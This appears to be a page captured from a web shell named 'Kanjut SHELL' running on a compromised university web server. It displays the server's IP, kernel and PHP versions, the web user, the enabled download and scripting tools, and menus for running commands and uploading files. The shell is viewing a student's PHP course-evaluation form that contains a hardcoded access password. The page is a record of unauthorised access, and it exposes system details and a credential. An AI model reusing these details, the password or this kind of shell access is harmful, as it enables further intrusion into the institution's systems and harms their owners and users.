Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.117.156.170
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/vnlaughlin/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vnlaughlin/public_html/welcomeform.php
<!--welcome form for assignment 3-->
<?php session_start(); ?>

<BODY>
<font size=4>
<?php

	$pass = $_SESSION['psw'];
	$_SESSION['psw'] = $pass;

	if($pass != "ch7hw")
		print "Incorrect Password.";
	else
	{
?>

	<center>
	<H2>
	Welcome to your Course Evaluation!
	</H2>
	<HR>
	</center>
	<Form action=surveypage.php method=post>
	<p>
	Name: <input type=textbox name=student>
	<p>
	Gender:
	<input type=radio name=gender value=m> Male
	<input type=radio name=gender value=f> Female
	<p>
	Grade:
	<input type=radio name=grade value=fr> Freshman
	<input type=radio name=grade value=so> Sophomore
	<input type=radio name=grade value=j> Junior
	<input type=radio name=grade value=se> Senior
	<p>
	Course: <select name=course>
	<?php
		print "<option>CS110</option>";
		print "<option>CS112</option>";
		print "<option>CS212</option>";
		print "<option>CS350</option>";
		print "<option>CS480</option>";
	?>
	</select>
	<p>
	<input type=submit value=Submit>
	<input type=reset value=Reset>

	</Form>
<?php
	}
?>

<HR>
<A HREF=index.html> Home </A>
<font>
</BODY>




Stv3n404 - 2023